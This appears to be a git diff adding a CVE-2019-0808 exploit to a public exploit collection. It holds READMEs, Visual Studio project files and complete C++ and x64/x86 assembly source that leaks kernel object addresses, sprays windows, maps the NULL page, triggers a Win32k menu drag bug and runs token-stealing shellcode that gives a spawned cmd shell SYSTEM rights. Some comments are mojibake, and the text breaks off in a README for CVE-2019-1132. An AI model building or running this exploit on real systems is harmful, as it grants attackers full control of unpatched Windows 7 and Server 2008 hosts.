CVE-2019-0808 + +#### 描述 + +Win32k特权提升漏洞 + +#### 影响版本 + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | ------------------ | +| Windows Server 2008 | x64/x86 | | SP2 | | +| Windows Server 2008 | | R2 | SP1 | | +| Windows 7 | x64/x86 | | SP1 | | + +#### 修复补丁 + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0808 +``` + +#### 利用方式 + +编译环境 + +- 编译有点问题 + +测试机器为Windows 7 SP1 x86 +![](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2019-0808_win_7_sp1_x86.gif) + + + + +#### 分析文章 +- https://paper.seebug.org/856/ +- https://xz.aliyun.com/t/5142 +- http://www.lahonja.me/2019/10/10/CVE-2019-0808%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90/ +- https://blog.knownsec.com/2020/11/cve-2019-0808-%E4%BB%8E%E7%A9%BA%E6%8C%87%E9%92%88%E8%A7%A3%E5%BC%95%E7%94%A8%E5%88%B0%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/ + + + + +#### 代码来源 + +- [DreamoneOnly](https://github.com/DreamoneOnly/CVE-2019-0808-32-64-exp) \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-0808/README_EN.md b/00-CVE_EXP/CVE-2019-0808/README_EN.md new file mode 100644 index 00000000..5bf33019 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0808/README_EN.md @@ -0,0 +1,45 @@ +### CVE-2019-0808 + +#### Describe + +An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory, aka 'Win32k Elevation of Privilege Vulnerability'. + +#### ImpactVersion + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | ------------------ | +| Windows Server 2008 | x64/x86 | | SP2 | | +| Windows Server 2008 | | R2 | SP1 | | +| Windows 7 | x64/x86 | | SP1 | | + +#### Patch + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0808 +``` + +#### Utilization + +CompilerEnvironment + +- Compile a bit problem + +Test machine for Windows 7 SP1 X86 + +![](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2019-0808_win_7_sp1_x86.gif) + + + + +#### Analyze +- https://paper.seebug.org/856/ +- https://xz.aliyun.com/t/5142 +- http://www.lahonja.me/2019/10/10/CVE-2019-0808%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90/ +- https://blog.knownsec.com/2020/11/cve-2019-0808-%E4%BB%8E%E7%A9%BA%E6%8C%87%E9%92%88%E8%A7%A3%E5%BC%95%E7%94%A8%E5%88%B0%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/ + + + + +#### ProjectSource + +- [DreamoneOnly](https://github.com/DreamoneOnly/CVE-2019-0808-32-64-exp) \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-0808/src/CVE-2019-0808.filters b/00-CVE_EXP/CVE-2019-0808/src/CVE-2019-0808.filters new file mode 100644 index 00000000..171a38f5 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0808/src/CVE-2019-0808.filters @@ -0,0 +1,32 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 源文件 + + + + + 头文件 + + + + + 源文件 + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-0808/src/CVE-2019-0808.sln b/00-CVE_EXP/CVE-2019-0808/src/CVE-2019-0808.sln new file mode 100644 index 00000000..6d7ef32e --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0808/src/CVE-2019-0808.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30002.166 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2019-0808", "CVE-2019-0808.vcxproj", "{B0FB7442-A04B-426B-B023-6C012057A99A}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {B0FB7442-A04B-426B-B023-6C012057A99A}.Debug|x64.ActiveCfg = Debug|x64 + {B0FB7442-A04B-426B-B023-6C012057A99A}.Debug|x64.Build.0 = Debug|x64 + {B0FB7442-A04B-426B-B023-6C012057A99A}.Debug|x86.ActiveCfg = Debug|Win32 + {B0FB7442-A04B-426B-B023-6C012057A99A}.Debug|x86.Build.0 = Debug|Win32 + {B0FB7442-A04B-426B-B023-6C012057A99A}.Release|x64.ActiveCfg = Release|x64 + {B0FB7442-A04B-426B-B023-6C012057A99A}.Release|x64.Build.0 = Release|x64 + {B0FB7442-A04B-426B-B023-6C012057A99A}.Release|x86.ActiveCfg = Release|Win32 + {B0FB7442-A04B-426B-B023-6C012057A99A}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {5D6EBAB6-350E-44BA-BCEF-2C825755A824} + EndGlobalSection +EndGlobal diff --git a/00-CVE_EXP/CVE-2019-0808/src/CVE-2019-0808.user b/00-CVE_EXP/CVE-2019-0808/src/CVE-2019-0808.user new file mode 100644 index 00000000..88a55094 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0808/src/CVE-2019-0808.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-0808/src/CVE-2019-0808.vcxproj b/00-CVE_EXP/CVE-2019-0808/src/CVE-2019-0808.vcxproj new file mode 100644 index 00000000..c3c845e2 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0808/src/CVE-2019-0808.vcxproj @@ -0,0 +1,162 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + {B0FB7442-A04B-426B-B023-6C012057A99A} + win8test + 7.0 + + + + Application + true + v142 + Unicode + false + + + Application + false + v142 + true + Unicode + false + + + Application + true + v142 + Unicode + false + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreadedDebug + + + Console + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreadedDebug + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + Document + true + + + + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-0808/src/CVE-2019-0808.vcxproj.user b/00-CVE_EXP/CVE-2019-0808/src/CVE-2019-0808.vcxproj.user new file mode 100644 index 00000000..88a55094 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0808/src/CVE-2019-0808.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-0808/src/leak.h b/00-CVE_EXP/CVE-2019-0808/src/leak.h new file mode 100644 index 00000000..5c02ae2e --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0808/src/leak.h @@ -0,0 +1,202 @@ +#pragma once +#include + +/* + +Microsoft_Code_Name Windows_10_Version Microsoft_Marketing_Name Release_Date +Threshold 1 (TH1) 1507 ------ July 2015 +Threshold 2 (TH2) 1511 ------ November 2015 +Redstone 1 (RS1) 1607 Anniversary Update August 2016 +Redstone 2 (RS2) 1703 Creators Update April 2017 +Redstone 3 (RS3) 1709 Fall Creators Update October 2017 +Redstone 4 (RS4) 1803 April 2018 Update April 2018 + +*/ + + + + + + +typedef enum _HANDLE_TYPE +{ + TYPE_FREE = 0, + TYPE_WINDOW = 1, + TYPE_MENU = 2, + TYPE_CURSOR = 3, + TYPE_SETWINDOWPOS = 4, + TYPE_HOOK = 5, + TYPE_CLIPDATA = 6, + TYPE_CALLPROC = 7, + TYPE_ACCELTABLE = 8, + TYPE_DDEACCESS = 9, + TYPE_DDECONV = 10, + TYPE_DDEXACT = 11, + TYPE_MONITOR = 12, + TYPE_KBDLAYOUT = 13, + TYPE_KBDFILE = 14, + TYPE_WINEVENTHOOK = 15, + TYPE_TIMER = 16, + TYPE_INPUTCONTEXT = 17, + TYPE_HIDDATA = 18, + TYPE_DEVICEINFO = 19, + TYPE_TOUCHINPUTINFO = 20, + TYPE_GESTUREINFOOBJ = 21, + TYPE_CTYPES, + TYPE_GENERIC = 255 +} HANDLE_TYPE, * PHANDLE_TYPE; + +typedef struct _GdiCell +{ + PVOID pKernelAddress; + UINT16 wProcessIdl; + UINT16 wCount; + UINT16 wUpper; + UINT16 uType; + PVOID pUserAddress; +}GdiCell, * pGdiCell; + +typedef struct _HandleEntry +{ + PULONG_PTR phead; + PULONG_PTR pOwner; + BYTE bType; + BYTE bFlalgs; + USHORT wUniq; +}HandleEntry, * pHandleEntry; + +typedef struct _tagServerInfo +{ + ULONG dwSRVIFlags; + ULONG_PTR cHandleEntries; + //... +}tagServerInfo, * ptagServerInfo; + +typedef struct _tagSharedInfo +{ + ptagServerInfo psi; + pHandleEntry aheList; + //... +}tagSharedInfo, * PtagSharedInfo; + +using _xxxHmValidateHandle = PVOID(__fastcall*)(HANDLE hwnd, HANDLE_TYPE handleType); + + + + + + +class leak +{ +public: + leak(); + ~leak() {}; + PVOID GetGdiKernelAddress(HANDLE hGdi); // RS1֮ǰãGDI Object + PVOID GetUserObjectAddressBygSharedInfo(HANDLE hWnd,PULONG_PTR UserAddr); // RS2֮ǰãUser Obejct + _xxxHmValidateHandle HmValidateHandle; // RS4֮ǰãûӳĵַUser ObjectԸheap->pSelfҵں˵ַ + + +private: + void GetGdiSharedHandleTable(); + void Get_gSharedInfo_ulClientDelta(); + void GetXXXHmValidateHandle(); + +private: + pGdiCell GdiSharedHandleTable; + ULONG_PTR g_DeltaDesktopHeap; + PtagSharedInfo gSharedInfo; + +}; + + + + +leak::leak() +{ + GetXXXHmValidateHandle(); + GetGdiSharedHandleTable(); + Get_gSharedInfo_ulClientDelta(); +} + +void leak::GetXXXHmValidateHandle() +{ + + auto hModule = LoadLibrary(L"user32.dll"); + auto func = GetProcAddress(hModule, "IsMenu"); + for (size_t i = 0; i < 0x1000; i++) + { + BYTE* test = (BYTE*)func + i; + if (*test == 0xE8) + { +#ifdef _AMD64_ + ULONG_PTR tmp = (ULONG_PTR)((ULONG_PTR) * (PULONG)(test + 1) | 0xffffffff00000000); +#else + ULONG_PTR tmp = (ULONG_PTR)* (PULONG)(test + 1); +#endif + HmValidateHandle = (_xxxHmValidateHandle)(test + tmp + 5); + break; + } + } + return ; +} + +void leak::GetGdiSharedHandleTable() +{ + PULONG_PTR teb = (PULONG_PTR)NtCurrentTeb(); + +#ifdef _AMD64_ + PULONG_PTR peb = *(PULONG_PTR*)((PBYTE)teb + 0x60); + GdiSharedHandleTable = (pGdiCell)*(PULONG_PTR*)((PBYTE)peb + 0xf8); +#else + PULONG_PTR peb = *(PULONG_PTR*)((PBYTE)teb + 0x30); + GdiSharedHandleTable = (pGdiCell)*(PULONG_PTR*)((PBYTE)peb + 0x94); +#endif + + return; +} + +void leak::Get_gSharedInfo_ulClientDelta() +{ + auto pMenu = CreateMenu(); + + /* get g_DeltaDesktopHeap */ + ULONG_PTR Teb = (ULONG_PTR)NtCurrentTeb(); +#ifdef _AMD64_ + g_DeltaDesktopHeap = *(ULONG_PTR*)(Teb + 0x800 + 0x28); //teb->Win32ClientInfo.ulClientDelta +#else + g_DeltaDesktopHeap = *(ULONG_PTR*)(Teb + 0x6CC + 0x1C); +#endif + + auto hModule = GetModuleHandleW(L"user32.dll"); + gSharedInfo = reinterpret_cast(GetProcAddress(hModule, "gSharedInfo")); + + DestroyMenu(pMenu); +} + +PVOID leak::GetGdiKernelAddress(HANDLE hGdi) +{ + return (GdiSharedHandleTable + LOWORD(hGdi))->pKernelAddress; +} + +PVOID leak::GetUserObjectAddressBygSharedInfo(HANDLE hWnd, PULONG_PTR UserAddr) +{ + PVOID ret = nullptr; + pHandleEntry tmp = nullptr; + + for (ULONG_PTR i = 0; i < gSharedInfo->psi->cHandleEntries; i++) + { + tmp = gSharedInfo->aheList + i; + HANDLE handle = reinterpret_cast(tmp->wUniq << 0x10 | i); + if (handle == hWnd) + { + ret = tmp->phead; + if (UserAddr != NULL) + { + *UserAddr = (ULONG_PTR)ret - g_DeltaDesktopHeap; + } + + } + } + + return ret; +} diff --git a/00-CVE_EXP/CVE-2019-0808/src/main.cpp b/00-CVE_EXP/CVE-2019-0808/src/main.cpp new file mode 100644 index 00000000..c3766e0e --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0808/src/main.cpp @@ -0,0 +1,481 @@ +#include +#include +#include +#include"leak.h" +using namespace std; + + + + +////////////////////////////////////////////////////////////////////////////////// +// +// global variables && prototypes +// + +leak p_leak; +DWORD g_MenuCreate = NULL; +bool bOnDrag = false; +PVOID g_fakeWnd = nullptr; +ULONG_PTR g_uDraggingIndex = NULL; +PVOID g_primaryWnd = NULL; +PVOID g_secondWnd = NULL; +HWND g_SparyWindow[0x100] = { 0 }; +HWND g_prepareToRead; +PVOID prepareToRead_addr; + +#define MN_FINDMENUWINDOWFROMPOINT 0x1EB + +void replaceWndProc(); +void SetNullPageData(); +EXTERN_C void ShellCode(); + + +#ifdef _AMD64_ +using pNtAllocateVirtualMemory = NTSTATUS(__fastcall*)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); + +EXTERN_C void __fastcall NtUserMNDragOver(PPOINT pt, char* buf); + +#else +using pNtAllocateVirtualMemory = NTSTATUS(__stdcall*)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); + +__declspec(naked) void __stdcall NtUserMNDragOver(PPOINT pt, char* buf) +{ + __asm + { + mov eax, 0x11ED + mov edx, 0x7FFE0300 + call dword ptr[edx] + ret 8 + } +} +#endif // _AMD64_ + + + + +////////////////////////////////////////////////////////////////////////////////// +// +// FakeWindowsProcedure for hMenuSub's tagMenuWnd +// + +LRESULT CALLBACK FakeWindowProc( + _In_ HWND hwnd, + _In_ UINT uMsg, + _In_ WPARAM wParam, + _In_ LPARAM lParam +) +{ + if (uMsg == MN_FINDMENUWINDOWFROMPOINT) + { + SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG_PTR)DefWindowProc); + + cout << "wParam:0x" << hex << *(PULONG)wParam << endl; + + g_uDraggingIndex = *(PULONG)wParam ; + SetNullPageData(); + + return (LRESULT)g_fakeWnd; + } + + return DefWindowProc(hwnd, uMsg, wParam, lParam); +} + + +////////////////////////////////////////////////////////////////////////////////// +// +// SetWindowsHookEx's handler +// + +LRESULT CALLBACK CallWndProc( + _In_ int nCode, + _In_ WPARAM wParam, + _In_ LPARAM lParam +) +{ + PCWPSTRUCT msg = (PCWPSTRUCT)lParam; + + //__debugbreak(); + + if (msg->message == MN_FINDMENUWINDOWFROMPOINT && bOnDrag) + { + cout << "msg: 0x" << hex << msg->message; + cout << "\thwnd: 0x" << hex << msg->hwnd; + + auto hwnd_kernel = p_leak.GetUserObjectAddressBygSharedInfo(msg->hwnd, NULL); + cout << "\thwnd_kernel: 0x" << hex << hwnd_kernel << endl; + + SetWindowLongPtr(msg->hwnd, GWLP_WNDPROC, (ULONG_PTR)FakeWindowProc); + + } + + return CallNextHookEx(NULL, nCode, wParam, lParam); +} + + +////////////////////////////////////////////////////////////////////////////////// +// +// SetWinEventHook's handler +// + +void Wineventproc( + HWINEVENTHOOK hWinEventHook, + DWORD event, + HWND hwnd, + LONG idObject, + LONG idChild, + DWORD idEventThread, + DWORD dwmsEventTime +) +{ + PVOID hMenuRoot_wnd; + PVOID hMenSub_wnd; + + + + switch (g_MenuCreate) + { + case 0: + //__debugbreak(); + SendMessage(hwnd, WM_LBUTTONDOWN, NULL, 0x00050005); //TrackPopupMenuExڲͨxxxWindowEventEVENT_SYSTEM_MENUPOPUPSTART¼Dzûûص + // + //ʱhMenuRoot + hMenuRoot_wnd = p_leak.GetUserObjectAddressBygSharedInfo(hwnd, NULL); + cout << "hMenuRoot_wnd: 0x" << hex << hwnd << "\tkernelAddress: 0x" << hMenuRoot_wnd << endl; + break; + case 1: + //__debugbreak(); + + /* + bOnDrag = 1; //ォbOnDrag1ȻWM_MOUSEMOVEϢxxxMouseMoveеxxxMNFindWindowFromPointʱصα g_fakeWnd + //tagMenuState->fInDoDragDropûλ˲ᴥxxxMNUpdateDraggingInfoĴ·ԻͨNtUserMNDragOverfInDoDragDropλ + */ + + SendMessage(hwnd, WM_MOUSEMOVE, NULL, 0x00050005); //hWndMainдǷ͵WM_LBUTTONDOWN֮󣬴ʱhMenuSubʾͬʱᴥ + //EVENT_SYSTEM_MENUPOPUPSTARTûصʱWM_MOUSEMOVEϢѾǰ + //˻γק + hMenSub_wnd = p_leak.GetUserObjectAddressBygSharedInfo(hwnd, NULL); + cout << "hMenSub_wnd: 0x" << hex << hwnd << "\tkernelAddress: 0x" << hMenSub_wnd << endl; + break; + default: + break; + } + g_MenuCreate++; +} + + +////////////////////////////////////////////////////////////////////////////////// +// +// allocated NULL page +// + +bool allocNullPage() +{ + + pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory"); + if (NtAllocateVirtualMemory == NULL) + { + cout << "get NtAllocateVirtualMemory address error\n"; + return false; + } + + ULONG_PTR addr = 0x100; + ULONG_PTR RegionSize = 0x1000; + + auto result = NtAllocateVirtualMemory(GetCurrentProcess(), (PVOID*)&addr, NULL, &RegionSize, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); + if (result != 0) + { + cout << "NtAllocateVirtualMemory error code:0x" << hex << result << endl; + return false; + } + + return true; +} + + +////////////////////////////////////////////////////////////////////////////////// +// +// set NULL page data +// + +void SetNullPageData() +{ + +#ifdef _AMD64_ + uint8_t NullPage = NULL; + ULONG_PTR offset1 = (ULONG_PTR)g_primaryWnd - g_uDraggingIndex * 0x90; // עg_uDraggingIndexULONG_PTRULONGx64ᷢ + offset1 = offset1 + 0xe8 - 0x4; + + + ULONG_PTR offset2 = (((ULONG_PTR)prepareToRead_addr + 0x128 + 0x90) - offset1 - 0x44) / 0x90; //offset2ֻȡ32λܳ32λ޷ضλַ + + for (size_t i = 0; i < 0x90; i += 8) + { + //__debugbreak(); + SetWindowLongPtr(g_prepareToRead, i, 0x7777777777777777); + } + + *(PULONG_PTR)(NullPage + 0x34) = g_uDraggingIndex + 1; + *(PULONG_PTR)(NullPage + 0x50) = offset1; + *(PULONG_PTR)(NullPage + 0x78) = offset2; + +#else + + uint8_t NullPage = NULL; + ULONG_PTR offset1 = (ULONG_PTR)g_primaryWnd - g_uDraggingIndex * 0x6C; // sizeof(tagItem32) = 0x6C + offset1 = offset1 + 0x90 - 0x4; // point to g_primaryWnd->cbwndExtra + + + ULONG_PTR offset2 = (0 - offset1) / 0x6C + 2; //ֻ+1պNullPage + 0x28 + (1*0x6C - offset2_remainder) = 0x4C + //ͻḲoffset2ֵ + ULONG_PTR offset2_remainder = (0 - offset1) % 0x6C; + + *(PULONG_PTR)(NullPage + 0x20) = g_uDraggingIndex + 1; //tagMENU->cItems, g_uDraggingIndex + 1ʹxxxMNSetGapState!MNGetpItemڶη0 + *(PULONG_PTR)(NullPage + 0x34) = offset1; + *(PULONG_PTR)(NullPage + 0x4C) = offset2; + *(PULONG_PTR)(NullPage + 0x28 + (2 * 0x6C - offset2_remainder)) = 0x7ffffffe; + +#endif // _AMD64_ + +} + + +////////////////////////////////////////////////////////////////////////////////// +// +// spary window +// + +bool SparyWindow() +{ + WNDCLASSEXA wndClass = { 0 }; + wndClass.cbSize = sizeof(WNDCLASSEXA); + wndClass.lpfnWndProc = DefWindowProc; + wndClass.cbClsExtra = 0; + wndClass.cbWndExtra = 0; + wndClass.hInstance = GetModuleHandle(NULL); + wndClass.lpszMenuName = 0; + wndClass.lpszClassName = "SparyClass"; + RegisterClassExA(&wndClass); + for (size_t i = 0; i < 0x100; i++) + { + g_SparyWindow[i] = CreateWindowA("SparyClass", NULL, WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, GetModuleHandle(NULL), nullptr); + if (g_SparyWindow[i] == NULL) + { + return false; + } + } + + g_primaryWnd = p_leak.GetUserObjectAddressBygSharedInfo(g_SparyWindow[0x98], NULL); + g_secondWnd = p_leak.GetUserObjectAddressBygSharedInfo(g_SparyWindow[0x99], NULL); + + if (((ULONG_PTR)g_secondWnd - (ULONG_PTR)g_primaryWnd) > 0x40000000) + { + return false; + } + + cout << "g_primaryWnd: 0x" << hex << g_SparyWindow[0x98] << "\tkernelAddress: 0x" << g_primaryWnd << endl; + cout << "g_secondWnd: 0x" << hex << g_SparyWindow[0x99] << "\tkernelAddress: 0x" << g_secondWnd << endl; + +#ifdef _AMD64_ + WNDCLASSEXA wndClass2 = { 0 }; + wndClass2.cbSize = sizeof(WNDCLASSEXA); + wndClass2.lpfnWndProc = DefWindowProc; + wndClass2.cbClsExtra = 0; + wndClass2.cbWndExtra = 0x90; + wndClass2.hInstance = GetModuleHandle(NULL); + wndClass2.lpszMenuName = 0; + wndClass2.lpszClassName = "SparyClass2"; + RegisterClassExA(&wndClass2); + + g_prepareToRead = CreateWindowA("SparyClass2", NULL, WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, GetModuleHandle(NULL), nullptr); + prepareToRead_addr = p_leak.GetUserObjectAddressBygSharedInfo(g_prepareToRead, NULL); + cout << "g_prepareToRead: 0x" << hex << g_prepareToRead << "\tkernelAddress: 0x" << prepareToRead_addr << endl; + +#endif // _AMD64_ + + + + return true; +} + + +////////////////////////////////////////////////////////////////////////////////// +// +// entry point +// + +int main() +{ + + + if (!SparyWindow()) + { + return false; + } + + + + if (!allocNullPage()) + { + cout << "error in alloc null page\n"; + return false; + } + + + + SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, NULL, GetCurrentThreadId()); + SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, NULL, (WINEVENTPROC)Wineventproc, GetCurrentProcessId(), GetCurrentThreadId(), NULL); + + + + g_fakeWnd = CreateWindowEx(0, L"#32768", L"SB", 0x80800000, 0, 0, 0, 0, 0, 0, 0,0); + + HMENU hMenuRoot = CreatePopupMenu(); + HMENU hMenuSub = CreatePopupMenu(); + + + + MENUINFO mi = { 0 }; + mi.cbSize = sizeof(MENUINFO); + mi.fMask = MIM_STYLE; + mi.dwStyle = MNS_MODELESS | MNS_DRAGDROP; //ģ̬˵򵯳˵ᱻ + SetMenuInfo(hMenuRoot, &mi); + SetMenuInfo(hMenuSub, &mi); + + AppendMenuA(hMenuRoot, MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuSub, "Root"); + AppendMenuA(hMenuSub, MF_BYPOSITION | MF_POPUP, 0, "Sub"); + + auto hMenuRoot_kernel = p_leak.GetUserObjectAddressBygSharedInfo(hMenuRoot, NULL); + auto hMenuSub_kernel = p_leak.GetUserObjectAddressBygSharedInfo(hMenuSub, NULL); + + cout << "hMenuRoot: 0x" << hex << hMenuRoot << "\tkernelAddress: 0x" << hMenuRoot_kernel << endl; + cout << "hMenuSub: 0x" << hex << hMenuSub << "\tkernelAddress: 0x" << hMenuSub_kernel << endl; + + //getchar(); + + WNDCLASSEXA wndClass = { 0 }; + wndClass.cbSize = sizeof(WNDCLASSEXA); + wndClass.lpfnWndProc = DefWindowProc; + wndClass.cbClsExtra = 0; + wndClass.cbWndExtra = 0; + wndClass.hInstance = GetModuleHandle(NULL); + wndClass.lpszMenuName = 0; + wndClass.lpszClassName = "WNDCLASSMAIN"; + RegisterClassExA(&wndClass); + auto hWndMain = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, GetModuleHandle(NULL), nullptr); + + TrackPopupMenuEx(hMenuRoot, 0, 0, 0, hWndMain, NULL); //RECTᱻǿΪ0x14,0x14 + + + { + auto g_fakeWnd_kernel = p_leak.GetUserObjectAddressBygSharedInfo(g_fakeWnd, NULL); + auto hMenuRoot_kernel = p_leak.GetUserObjectAddressBygSharedInfo(hMenuRoot, NULL); + auto hMenuSub_kernel = p_leak.GetUserObjectAddressBygSharedInfo(hMenuSub, NULL); + auto hWndMain_kernel = p_leak.GetUserObjectAddressBygSharedInfo(hWndMain, NULL); + + + + cout << "g_fakeWnd: 0x" << hex << g_fakeWnd << "\tkernelAddress: 0x"<< g_fakeWnd_kernel << endl; + cout << "hMenuRoot: 0x" << hex << hMenuRoot << "\tkernelAddress: 0x" << hMenuRoot_kernel << endl; + cout << "hMenuSub: 0x" << hex << hMenuSub << "\tkernelAddress: 0x" << hMenuSub_kernel << endl; + cout << "hWndMain: 0x" << hex << hWndMain << "\tkernelAddress: 0x" << hWndMain_kernel << endl; + } + + cout << "CallWndProc: 0x" << hex << CallWndProc << endl; + + + MSG msg = { 0 }; + while (GetMessage(&msg,NULL,NULL,NULL)) + { + TranslateMessage(&msg); + DispatchMessage(&msg); + + + if (g_MenuCreate == 2) + { + bOnDrag = true; + POINT pt; + char buf[100]; + pt.x = 2; + pt.y = 2; + + //__debugbreak(); + + NtUserMNDragOver(&pt, buf); + g_MenuCreate++; + break; + } + + } + + DestroyWindow((HWND)g_fakeWnd); + DestroyWindow(hWndMain); + DestroyMenu(hMenuRoot); + DestroyMenu(hMenuSub); + + replaceWndProc(); + + + return true; +} + + +LRESULT CALLBACK WndProc_kernel( + _In_ HWND hwnd, + _In_ UINT uMsg, + _In_ WPARAM wParam, + _In_ LPARAM lParam +) +{ + +#ifdef _AMD64_ + + ShellCode(); + +#else + __asm { + pushad + mov eax, fs: [0x124] //CurrentThread + mov eax, [eax + 0x150] //Process + lea edx, [eax + 0xf8] //MyProcess.Token +noFind : + mov eax, [eax + 0xb8] //Eprocess.ActiveProcessLinks + sub eax, 0xb8 //next Eprocess struct + mov ebx, [eax + 0xb4] //PID + cmp ebx, 4 + jnz noFind + mov eax, [eax + 0xf8] //System.Token + mov[edx], eax + popad +} +#endif // _AMD64_ + + + + SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG_PTR)DefWindowProc); + + return false; +} + + + + +void replaceWndProc() +{ + +#ifdef _AMD64_ + ULONG_PTR offset = (((ULONG_PTR)g_secondWnd + 0x90) - ((ULONG_PTR)g_primaryWnd + 0x128)); +#else + ULONG_PTR offset = (((ULONG_PTR)g_secondWnd + 0x60) - ((ULONG_PTR)g_primaryWnd + 0xb0)); +#endif // _AMD64_ + + + + SetWindowLongPtr(g_SparyWindow[0x98], offset, (ULONG_PTR)WndProc_kernel); + + SendMessage(g_SparyWindow[0x99], WM_MOUSEMOVE, NULL, 0x00050005); //g_secondWndϢ + + system("cmd"); + + DestroyWindow(g_SparyWindow[0x98]); + DestroyWindow(g_SparyWindow[0x99]); +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-0808/src/x64.asm b/00-CVE_EXP/CVE-2019-0808/src/x64.asm new file mode 100644 index 00000000..e56bd1c5 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0808/src/x64.asm @@ -0,0 +1,44 @@ + + +public ShellCode +public NtUserMNDragOver + +.code + + +ShellCode proc + + pushfq + push rax + push rdx + push rbx + mov rax, gs:[188h] ;CurrentThread + mov rax, [rax + 210h] ;Process + lea rdx, [rax + 208h] ;MyProcess.Token +noFind : + mov rax, [rax + 188h] ;Eprocess.ActiveProcessLinks + sub rax, 188h ;next Eprocess struct + mov rbx, [rax + 180h] ;PID + cmp rbx, 4 + jnz noFind + mov rax, [rax + 208h] ;System.Token + mov [rdx], rax + pop rbx + pop rdx + pop rax + popfq + ret + +ShellCode endp + + +NtUserMNDragOver proc + mov r10, rcx + mov eax, 12DEh + syscall + ret +NtUserMNDragOver endp + + + +end \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-1132/README.md b/00-CVE_EXP/CVE-2019-1132/README.md new file mode 100644 index 00000000..1ed53cff --- /dev/null +++ b/00-CVE_EXP/CVE-2019-1132/README.md @@ -0,0 +1,33 @@ +### CVE-2019-1132 + +#### 描述 + +Win32k特权提升漏洞 + +#### 影响版本 + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | ------------------ | +| Windows Server 2008 | x64/x86 | | SP2 | | +| Windows Server 2008 | | R2 | SP1 | | +| Windows 7 | x64/x86 | | SP1 | | + +#### 修复补丁 + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1132 +``` + +#### 利用方式 + +暂无 + + + + +#### 分析文档 +- https://zhuanlan.zhihu.com/p/335166796 +- 